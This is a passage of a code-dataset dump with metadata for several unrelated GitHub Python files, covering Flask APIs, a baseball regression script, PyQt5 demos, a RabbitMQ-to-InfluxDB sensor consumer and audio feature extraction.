ru17 else \"You can only get two effects at this level.\"\r\n        return { \"status\":  response }\r\n    probabilityOfEffectCount = numpy.round(probabilityOfEffectCount * 100, 2)\r\n    return {\"status\": f\"The probability of finding {'an Effarig' if isEffarig else 'a'} Glyph with the given rarity ({rarity}%) and the number of given effects ({numberOfEffects}) is {probabilityOfEffectCount}%.\"}\r\n\r\ndef effectCountProbabilityModel(threshold, strength, level, effectCount, isEffarig):\r\n        if effectCount <= 0: return 0\r\n        uniformDistributionTargetBounds = [((effectCount - 1) / 1.5) ** (1 / (1 - (level * strength) ** 0.5 / 100)), ((effectCount) / 1.5) ** (1 / (1 - (level * strength) ** 0.5 / 100))]\r\n        if (effectCount == 4 and not isEffarig) or (effectCount == 7 and isEffarig): return numpy.min([uniformDistributionTargetBounds[0], 1])\r\n        if (level < threshold): probabilityOfEffectCount = numpy.max([numpy.min([uniformDistributionTargetBounds[1], 1]) - uniformDistributionTargetBounds[0], 0])\r\n        else: probabilityOfEffectCount = numpy.max([numpy.min([uniformDistributionTargetBounds[0], 1]) - uniformDistributionTargetBounds[1], 0])\r\n        return probabilityOfEffectCount\r\n\r\nif __name__ == \"__main__\":\r\n   app.run(host='0.0.0.0', port=5000)\r\n", "repo_name": "lrobt97/glyphapi", "sub_path": "glyphapi.py", "file_name": "glyphapi.py", "file_ext": "py", "file_size_in_byte": 7387, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 73, "usage_type": "call"}, {"api_name": "scipy.stats.norm.cdf", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 104, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.ceil", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 158, "usage_type": "call"}]}
{"seq_id": "71921081851", "text": "from flask import Blueprint, request, make_response, jsonify, current_app\nfrom flask.views import MethodView\nfrom sqlalchemy import desc, asc\n\nfrom app.configurations import Config\nfrom app.extensions import db\nfrom models.topics import Topic\nfrom models.members import Member\nfrom models.messages import Message\nfrom api.utils import token_required, json_abort\n\n\nclass SingleMessage(MethodView):\n    def get(self, topic_id, msg_id):\n        msg = db.session.query(Message).filter_by(topic_id=topic_id, id=msg_id).first()\n        if not msg:\n            json_abort(404, \"ההודעה לא נמצאה\")\n        else:\n            response = make_response(jsonify(msg.as_dict()), 200)\n            return response\n\n    @token_required\n    def put(self, curr_user):\n        data = request.get_json()\n        member = curr_user.member\n        msg_id = data.get(\"id\")\n        topic_id = data.get(\"topic_id\")\n        msg = db.session.query(Message).filter_by(member_email=member.email, topic_id=topic_id, id=msg_id).first()\n        if not msg:\n            json_abort(404, \"ההודעה לא נמצאה\")\n        new_content = data.get(\"content\")\n        if not new_content:\n            json_abort(400, \"תוכן ההודעה ריק\")\n        msg.content = new_content\n        db.session.commit()\n        response = make_response(jsonify(message='ההודעה עודכנה בהצלחה'), 200)\n        return response\n\n    @token_required\n    def post(self, curr_user):\n        data = request.get_json()\n        member = curr_user.member\n        message_content = data.get(\"content\")\n        topic_id = data.get(\"topic_id\")\n        if not message_content or not topic_id:\n            json_abort(400, \"תוכן ההודעה ריק\")\n        new_message = Message(content=message_content, member_email=member.email, topic_id=topic_id)\n        if not new_message:\n            json_abort(500, \"יצירת הודעה חדשה לא הצליחה\")\n        db.session.add(new_message)\n        db.session.commit()\n        response = make_response(jsonify(message='ההודעה התווספה בהצלחה'), 200)\n        return response\n\n\nclass AllMessages(MethodView):\n    def get(self, topic_id, page):\n        if page < 1:\n            json_abort(400, \"כמות הדפים שהוכנסו לא חוקי\")\n        all_messages = Message.query.filter_by(topic_id=topic_id).order_by(asc('created_at')).paginate(\n            page=page, per_page=Config.MESSAGES_PER_PAGE)\n        result = dict(datas=[a.as_dict() for a in all_messages.items],\n                      total=all_messages.total,\n                      current_page=all_messages.page,\n                      per_page=all_messages.per_page)\n        response = make_response(jsonify(result), 200)\n        return response\n\n\napi = Blueprint('messages_api', __name__, url_prefix=Config.API_PREFIX + '/messages')\nsingle_message_get_api = SingleMessage.as_view('single_message_get_api')\nsingle_message_api = SingleMessage.as_view('single_message_api')\napi.add_url_rule('/single/<int:topic_id>/<int:msg_id>', methods=['GET'], view_func=single_message_get_api)\napi.add_url_rule('/single_message', methods=['PUT', 'POST'], view_func=single_message_api)\nmessage_get_all_api = AllMessages.as_view('message_get_all_api')\napi.add_url_rule('/all/<int:topic_id>/<int:page>', methods=['GET'], view_func=message_get_all_api)\n", "repo_name": "avielfedida/RoboAdvisor", "sub_path": "server/api/messages_api.py", "file_name": "messages_api.py", "file_ext": "py", "file_size_in_byte": 3344, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.views.MethodView", "line_number": 13, "usage_type": "name"}, {"api_name": "app.extensions.db.session.query", "line_number": 15, "usage_type": "call"}, {"api_name": "models.messages.Message", "line_number": 15, "usage_type": "argument"}, {"api_name": "app.extensions.db.session", "line_number": 15, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 15, "usage_type": "name"}, {"api_name": "api.utils.json_abort", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "app.extensions.db.session.query", "line_number": 28, "usage_type": "call"}, {"api_name": "models.messages.Message", "line_number": 28, "usage_type": "argument"}, {"api_name": "app.extensions.db.session", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 28, "usage_type": "name"}, {"api_name": "api.utils.json_abort", "line_number": 30, "usage_type": "call"}, {"api_name": "api.utils.json_abort", "line_number": 33, "usage_type": "call"}, {"api_name": "app.extensions.db.session.commit", "line_number": 35, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 36, "usage_type": "call"}, {"api_name": "api.utils.token_required", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "api.utils.json_abort", "line_number": 46, "usage_type": "call"}, {"api_name": "models.messages.Message", "line_number": 47, "usage_type": "call"}, {"api_name": "api.utils.json_abort", "line_number": 49, "usage_type": "call"}, {"api_name": "app.extensions.db.session.add", "line_number": 50, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 50, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 50, "usage_type": "name"}, {"api_name": "app.extensions.db.session.commit", "line_number": 51, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 52, "usage_type": "call"}, {"api_name": "api.utils.token_required", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.views.MethodView", "line_number": 56, "usage_type": "name"}, {"api_name": "api.utils.json_abort", "line_number": 59, "usage_type": "call"}, {"api_name": "models.messages.Message.query.filter_by", "line_number": 60, "usage_type": "call"}, {"api_name": "models.messages.Message.query", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.messages.Message", "line_number": 60, "usage_type": "name"}, {"api_name": "sqlalchemy.asc", "line_number": 60, "usage_type": "call"}, {"api_name": "app.configurations.Config.MESSAGES_PER_PAGE", "line_number": 61, "usage_type": "attribute"}, {"api_name": "app.configurations.Config", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 66, "usage_type": "call"}, {"api_name": "api.utils", "line_number": 70, "usage_type": "name"}, {"api_name": "flask.Blueprint", "line_number": 70, "usage_type": "call"}, {"api_name": "app.configurations.Config.API_PREFIX", "line_number": 70, "usage_type": "attribute"}, {"api_name": "app.configurations.Config", "line_number": 70, "usage_type": "name"}, {"api_name": "api.utils.add_url_rule", "line_number": 73, "usage_type": "call"}, {"api_name": "api.utils", "line_number": 73, "usage_type": "name"}, {"api_name": "api.utils.add_url_rule", "line_number": 74, "usage_type": "call"}, {"api_name": "api.utils", "line_number": 74, "usage_type": "name"}, {"api_name": "api.utils.add_url_rule", "line_number": 76, "usage_type": "call"}, {"api_name": "api.utils", "line_number": 76, "usage_type": "name"}]}
{"seq_id": "37214675455", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom pandas import DataFrame\nfrom sklearn import linear_model\nfrom sympy import *\n\n\"\"\"\nplayers chosen:\n    Mike Trout, Mookie Betts, Buster Posey, Kyle Seager,\n    Mike Moustakas, Scooter Gennett, Salvador Perez, Andrew McCutchen\n    Andrelton Simmons, Joey Votto, Eugenio Suarez, Tommy Pham,\n    Giancarlo Stanton, Jurickson Profar, Jackie Bradley Jr., Jason Kipnis,\n    Jose Martinez, Corey Dickerson, Nolan Arenado, Trevor Story,\n    Lorenzo Cain, Michael Brantley, Freddie Freeman, Christian Yelich\n\"\"\"\n\nplayers = {'Average': [.312, .346, .284, .221, .251, .310, .235, .255,\n                       .292, .284, .283, .275, .266, .254, .234, .230, .305, .300,\n                       .297, .291, .308, .309, .309, .326],\n                   'WAR': [10.2, 10.9, 2.9, 0.8, 2.5, 4.2, 2.4, 2.7, 6.2, 3.5, 4.2,\n                        3.4, 4.0, 2.0, 2.1, 1.6, 1.5, 3.8, 5.6, 5.6, 6.9, 3.6, 6.1, 7.6]}\n\ndf = DataFrame(players, columns=['Average', 'WAR'])\nprint(df)\n\n# set up DataFrame arrays + AVG vs. WAR plot\nX = df['Average']\nY = df['WAR']\n\nplt.scatter(X, Y, color='red')\nplt.title('WAR vs. Average', fontsize=14)\nplt.xlabel(\"Average\", fontsize=12)\nplt.ylabel(\"WAR\", fontsize=12)\nplt.grid(True)\n\n# use numpy modules to create a 1D trend line\nz = np.polyfit(X, Y, 1)\np = np.poly1d(z)\nplt.plot(X, p(X))\nplt.show()\n\n# calculate mean sum squared error\nmseSum = 0\nfor i in range(len(df)): # iterate through all elements (i.e. batters)\n    mse = np.mean((Y[i] - p(X)) ** 2) # takes difference of (individual dot - trendline)\n    mseSum += mse\nprint(mseSum) # total error for all points to the trendline\n\n# new DataFrame arrays, 2d for input + 1d for output\nxRegression = df[['Average']]\nyRegression = df['WAR']\n\nregression = linear_model.LinearRegression()\nregression.fit(xRegression, yRegression)\n\ny_int = regression.intercept_\nx_coefficient = regression.coef_\nx_coefficient = float(x_coefficient) # convert from array to float\n\n# use sympy modules for differentiation\nx = Symbol('x')\nyFn = x_coefficient * x + y_int\n\nprint(\"\\nY-intercept: \" + str(y_int))\nprint(\"Coefficient: \" + str(x_coefficient))\nprint(\"AVG: \" + str(yFn))\n\n\"\"\"\n-the derivative of a first order Taylor polynomial is a single value\n-for gradient descent, the derivative (which is a Taylor polynomial\nof order 0) is used as input for the cost function J(theta), such that\ntheta = value of the derivative as calculated by the trendline\n\"\"\"\ntrendDeriv = yFn.diff(x)\nprint(str(trendDeriv))\n\n\"\"\"\n-let theta be written as \"t\"\n-the algorithm is: t = t +- alpha * d/dt (mseSum) / (2m), where:\nalpha is the learning rate parameter\nm is the number of element pairs (x, y) in the set\nmseSum is the sum from 1 to m of (the differences between the\n    actual values and the values plotted on the trendline)^2\n\"\"\"\nalpha = 0.01 # arbitrary constant\ntheta = trendDeriv # starting definition\n\n\"\"\"\n-the derivative of the cost function (which is a quadratic) becomes\nlinear, so the chain rule will cancel out the 2 in the denominator\n-theta (which is the slope of the trendline) is used in the cost function\n    as the domain; it goes to 0 and gradient descent finishes\n\"\"\"\n\n# if alpha is too big, theta can oscillate between > and < 0 like sin(x)\ndef check_oscillation(thetaVal, batch):\n    posOdd = False\n    posEven = False\n    negOdd = False\n    negEven = False\n\n    \"\"\"\n    if two successive numbers are opposite signs (and they are\n    opposite parities by definition of succession) then we know that\n    theta values are oscillating, so we check parity and sign to stop it\n    \"\"\"\n    if (0 < thetaVal < 0.01) and batch % 2 == 1 or batch % 2 == 0:\n        posOdd = True\n    if (0 < thetaVal < 0.01) and batch % 2 == 0 or batch % 2 == 1:\n        posEven = True\n    if (-0.09 < thetaVal < 0) and batch % 2 == 1 or batch % 2 == 0:\n        negOdd = True\n    if (-0.09 < thetaVal < 0) and batch % 2 == 0 or batch % 2 == 1:\n        negEven = True\n\n    # parity and sign are guaranteed to switch; stop the algorithm\n    if (posOdd and negEven) or (negOdd and posEven):\n        print(\"The gradient descent will oscillate! Let's stop here.\")\n        print(\"It took %s steps.\" % str(batch))\n        exit()\n\ndef gradient_descent(thetaVal, alphaVal, mseSum, mValue):\n    # m is the list of elements, so the length of the DataFrame is the m value\n    batch = 0\n    while thetaVal != 0: # operation +- depending on the sign of theta\n        if thetaVal > 0:\n            thetaVal = thetaVal - (alphaVal * mseSum) / (mValue + 1) # mValue is zero-indexed\n        elif thetaVal < 0:\n            thetaVal = thetaVal + (alphaVal * mseSum) / (mValue + 1)\n        else:\n            print(\"Gradient descent completed! It took %s steps\" % str(batch))\n            exit()\n        print(thetaVal)\n        batch += 1\n\n        # check after every new value to stop the algorithm when necessary\n        check_oscillation(thetaVal, batch)\n\ngradient_descent(theta, alpha, mseSum, len(df))\n", "repo_name": "y0shK/game-optimization", "sub_path": "baseball/AVG_vs_WAR.py", "file_name": "AVG_vs_WAR.py", "file_ext": "py", "file_size_in_byte": 4956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.DataFrame", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.polyfit", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "32859272073", "text": "#!/usr/bin/python3\n\nimport requests\nfrom sys import argv\n\n\ndef main():\n    url = argv[1]\n    r = requests.get(url)\n    if r.status_code >= 400:\n        print('Error code:', r.status_code)\n    else:\n        print(r.text)\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "aDENTinTIME/holbertonschool-higher_level_programming", "sub_path": "0x11-python-network_1/7-error_code.py", "file_name": "7-error_code.py", "file_ext": "py", "file_size_in_byte": 259, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 8, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "29952447398", "text": "from enum import Enum\n\n\nclass QuestionRatingValue(Enum):\n    NO = 0\n    BORDERLINE = 1\n    YES = 2\n    NA = -1\n    NONE_SELECTED = -2\n\n    @staticmethod\n    def get_value_from_string(string: str):\n        if string == \"no\":\n            return QuestionRatingValue.NO\n        elif string == \"borderline\":\n            return QuestionRatingValue.BORDERLINE\n        elif string == \"yes\":\n            return QuestionRatingValue.YES\n        elif string == \"na\":\n            return QuestionRatingValue.NA\n        else:\n            raise ValueError(\"Question Rating Value %s not known\" % string)\n\n    def __lt__(self, other):\n        return self.value < other.value\n\n\nclass QuestionRatingCriteria(Enum):\n    GRAMMAR = 0\n    MEANINGFULNESS = 1\n    NATURALNESS = 2\n    VALIDITY = 3\n    SPECIFICITY = 4\n\n    @staticmethod\n    def get_criteria_from_string(string: str):\n        if string == \"grammar\":\n            return QuestionRatingCriteria.GRAMMAR\n        elif string == \"meaning\":\n            return QuestionRatingCriteria.MEANINGFULNESS\n        elif string == \"naturalness\":\n            return QuestionRatingCriteria.NATURALNESS\n        elif string == \"validity\":\n            return QuestionRatingCriteria.VALIDITY\n        elif string == \"specificity\":\n            return QuestionRatingCriteria.SPECIFICITY\n        else:\n            raise ValueError(\"Question Rating Criteria %s not known\" % string)\n\n    def __lt__(self, other):\n        return self.value < other.value\n", "repo_name": "ad-freiburg/question-generation", "sub_path": "tools/question_rating.py", "file_name": "question_rating.py", "file_ext": "py", "file_size_in_byte": 1463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "enum.Enum", "line_number": 4, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 28, "usage_type": "name"}]}
{"seq_id": "39316740987", "text": "#!/usr/bin/python3\n#coding = utf-8\n\nimport sys\nfrom PyQt5.QtWidgets import QApplication,QWidget\nfrom PyQt5.QtGui import QIcon\n\nclass Icon(QWidget):\n\n    def __init__(self):\n        super().__init__()\n        self.initUI()\n\n    def initUI(self):\n        self.setGeometry(300,300,300,220)\n        self.setWindowTitle(\"AngelByte\")\n        self.setWindowIcon(QIcon('files-and-folders.png'))\n\n\n        self.show()\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    ex = Icon()\n    sys.exit(app.exec_())\n    \n", "repo_name": "BestByte/my_pygt", "sub_path": "third.py", "file_name": "third.py", "file_ext": "py", "file_size_in_byte": 516, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 8, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "29089847789", "text": "import typing\n\nfrom PyQt5 import QtGui\nfrom PyQt5.Qt import *\nimport sys\n\n\nclass MyAbstractSpinBox(QSpinBox):\n    def __init__(self, parent=None, num=0):\n        super(MyAbstractSpinBox, self).__init__(parent)\n        self.setGeometry(200, 200, 80, 40)\n        self.lineEdit().setText(str(num))\n\n    def stepEnabled(self) -> 'QAbstractSpinBox.StepEnabled':\n        return QAbstractSpinBox.StepUpEnabled | QAbstractSpinBox.StepDownEnabled\n\n    def stepBy(self, steps: int) -> None:\n        current_num = int(self.text()) + steps\n        self.lineEdit().setText(str(current_num))\n\n    def setValue(self, value):\n        super().setValue(value)\n        self.valueChanged.emit(value)\n\n    def validate(self, input_text: str, pos: int) -> typing.Tuple[QtGui.QValidator.State, str, int]:\n        try:\n            value = int(input_text)\n            if 0 <= value <= 100:\n                return QValidator.Acceptable, input_text, pos\n            elif value < 0:\n                return QValidator.Intermediate, '0', pos\n            elif value > 100:\n                return QValidator.Intermediate, '100', pos\n        except ValueError:\n            return QValidator.Intermediate, '0', pos\n\n    def fixup(self, input_text: str) -> str:\n        try:\n            int(input_text)\n            return input_text\n        except ValueError:\n            return ''\n\n\nclass Window(QWidget):\n    def __init__(self):\n        super(Window, self).__init__()\n        self.setGeometry(1400, 600, 600, 600)\n        self.setWindowTitle('')\n        self.setup_ui()\n\n    def setup_ui(self):\n        abstract_spin_box = MyAbstractSpinBox(self)\n        abstract_spin_box.valueChanged.connect(lambda value: print(value))\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    window = Window()\n    window.show()\n    QDesktopServices.openUrl(QUrl('https://www.sunnkey.cn'))\n\n    sys.exit(app.exec())\n", "repo_name": "sunnkey/pro_PyQt5", "sub_path": "QAbstractSpinBox_pro/内容验证.py", "file_name": "内容验证.py", "file_ext": "py", "file_size_in_byte": 1878, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Tuple", "line_number": 25, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QValidator", "line_number": 25, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 25, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 58, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "70762052106", "text": "from influxdb import InfluxDBClient\nfrom datetime import datetime\nimport json\nimport pika\nimport pytz\n\n\ndef get_config():\n    with open('config.json', 'r') as config_file:\n        return json.load(config_file)\n\n\ndef process_event(ch, method, properties, body):\n    print(f'Message: {body}')\n    json_reading = json.loads(body.decode('UTF-8'))\n    insert_sensor_read(json_reading)\n    ch.basic_ack(delivery_tag=method.delivery_tag)\n\n\ndef insert_sensor_read(sensor_reading):\n    utc_timestamp = sensor_reading['timestamp']\n    reading_time = datetime.utcfromtimestamp(utc_timestamp)\n    try:\n        # sometimes, the sensor sends an incorrect timestamp e.g. 3, 5, ...\n        # when that happens, the timezone conversion fails.\n        # on those cases, i'll just ignore that data point.\n        reading_time.astimezone(timezone)\n    except OSError:\n        return\n\n    data_point = {\n        \"measurement\": config[\"influxdb\"][\"measurement\"],\n        \"time\": reading_time,\n        \"fields\": {\n            \"temperature\": sensor_reading['temperature'],\n            \"humidity\": sensor_reading['humidity'],\n            \"heatIndex\": sensor_reading['heatIndex']\n        }\n    }\n    influxdb_client.write_points([data_point])\n\n\nconfig = get_config()\n\ntimezone = pytz.timezone(config['general']['timezone'])\n\ninfluxdb_client = InfluxDBClient(\n    host=config[\"influxdb\"][\"host\"],\n    port=config[\"influxdb\"][\"port\"],\n    database=config[\"influxdb\"][\"database\"]\n)\n\nconnection = pika.BlockingConnection(\n    pika.ConnectionParameters(\n        host=config[\"rabbitmq\"][\"host\"],\n        port=config[\"rabbitmq\"][\"port\"],\n        credentials=pika.PlainCredentials(\n            config[\"rabbitmq\"][\"user\"],\n            config[\"rabbitmq\"][\"pass\"]\n        )\n    )\n)\n\nchannel = connection.channel()\n\nchannel.basic_consume(\n    queue=config[\"rabbitmq\"][\"consume_from_queue\"],\n    on_message_callback=process_event\n)\n\nchannel.start_consuming()\n", "repo_name": "luizfzs/env-sensor-data-processor", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1920, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 45, "usage_type": "call"}, {"api_name": "influxdb.InfluxDBClient", "line_number": 47, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 53, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 54, "usage_type": "call"}, {"api_name": "pika.PlainCredentials", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "12557323078", "text": "import librosa\nimport os\nimport numpy as np\nimport pickle\nfrom python_speech_features import fbank\n\nimport config as c\nfrom DB_reader import read_noisy_wav_structure\n\n\ndef convert_wav_to_feature(filename, feat_dir, mode):\n    '''\n    Converts the wav path to feat path\n    ex) Input : ../011_16k/011c0201.wav\n        Output : ../011_16k/011c0201.pkl\n    '''\n\n    filename_only = filename.split('/')[-1].replace('.wav', '.pkl')\n\n    if mode == 'train' or mode == 'valid':\n        output_folder_name = feat_dir  # c.TRAIN_FEAT_DIR or c.VALID_FEAT_DIR\n    elif mode == 'test':\n        output_folder_name = os.path.join(feat_dir, filename.split('/')[-2])  # Contain the Noise and SNR ex) airport_SNR-5\n\n    output_file_name = os.path.join(output_folder_name, filename_only)\n    # ex) ../Feature/MFB/train or valid or test(/440_16k)/440c0201.pkl\n\n    return output_folder_name, output_file_name\n\n\ndef normalize_frame(m, scale=True):\n    if scale:\n        return (m-np.mean(m, axis=0)) / (np.std(m, axis=0) + 2e-12)\n    else:\n        return m - np.mean(m, axis=0)\n\n\ndef extract_mfb(filename, feat_dir, mode, count):\n    audio, sr = librosa.load(filename, sr=c.SR, mono=True)\n    features, energies = fbank(signal=audio, samplerate=c.SR, nfilt=c.FILTER_BANK, winlen=0.025)\n\n    if c.USE_LOGSCALE:\n        features = 20 * np.log10(np.maximum(features, 1e-5))\n\n    features = normalize_frame(features, scale=c.USE_SCALE)\n    print(features.shape)  # features_shape : (# of frames, nfilt)\n\n    output_folder_name, output_file_name = convert_wav_to_feature(filename, feat_dir, mode=mode)\n\n    if not os.path.exists(output_folder_name):\n        os.makedirs(output_folder_name)\n\n    if os.path.isfile(output_file_name):\n        print('\\'' + '/'.join(output_file_name.split('/')[-3:]) + '\\'' + 'file already extracted!')\n    else:\n        with open(output_file_name, 'wb') as fp:\n            pickle.dump(features, fp)\n            print('[%s]feature extraction (%s DB). step : %d, file : \\'%s\\''\n                  % ('MFB', mode, count, '/'.join(filename.split('/')[-3:])))\n\n\nclass ModeError(Exception):\n    def __str__(self):\n        return \"Wrong Mode (Type : 'train' or 'valid' or 'test')\"\n\n\ndef feature_extraction(mode):\n    if (mode != 'train') and (mode != 'test') and (mode != 'valid'):\n        raise ModeError\n\n    count = 1\n\n    # _1.0 means that 1second length silence is padded on training and validation sets.\n    # _0.0 means no manipulation is conducted on test sets\n    if mode == 'train':\n        wav_dir, feat_dir = c.TRAIN_WAV_DIR, c.TRAIN_FEAT_DIR + '_1.0'\n    elif mode == 'valid':\n        wav_dir, feat_dir = c.VALID_WAV_DIR, c.VALID_FEAT_DIR + '_1.0'\n    else:\n        wav_dir, feat_dir = c.TEST_WAV_DIR, c.TEST_FEAT_DIR + '_0.0'\n\n    DB = read_noisy_wav_structure(wav_dir, mode)\n\n    for i in range(len(DB)):\n        filename = DB['filename'][i]\n        extract_mfb(filename, feat_dir, mode, count)\n        count = count + 1\n\n    print('-'*20 + 'Feature Extraction Done' + '-'*20)\n\n\nif __name__ == '__main__':\n    feature_extraction(mode='train')\n    feature_extraction(mode='valid')\n    feature_extraction(mode='test')\n", "repo_name": "Jo0o0Hyung/Dual-Attention-for-VAD", "sub_path": "FeatureExtraction.py", "file_name": "FeatureExtraction.py", "file_ext": "py", "file_size_in_byte": 3128, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 35, "usage_type": "call"}, {"api_name": "librosa.load", "line_number": 39, "usage_type": "call"}, {"api_name": "config.SR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "python_speech_features.fbank", "line_number": 40, "usage_type": "call"}, {"api_name": "config.SR", "line_number": 40, "usage_type": "attribute"}, {"api_name": "config.FILTER_BANK", "line_number": 40, "usage_type": "attribute"}, {"api_name": "config.USE_LOGSCALE", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.log10", "line_number": 43, 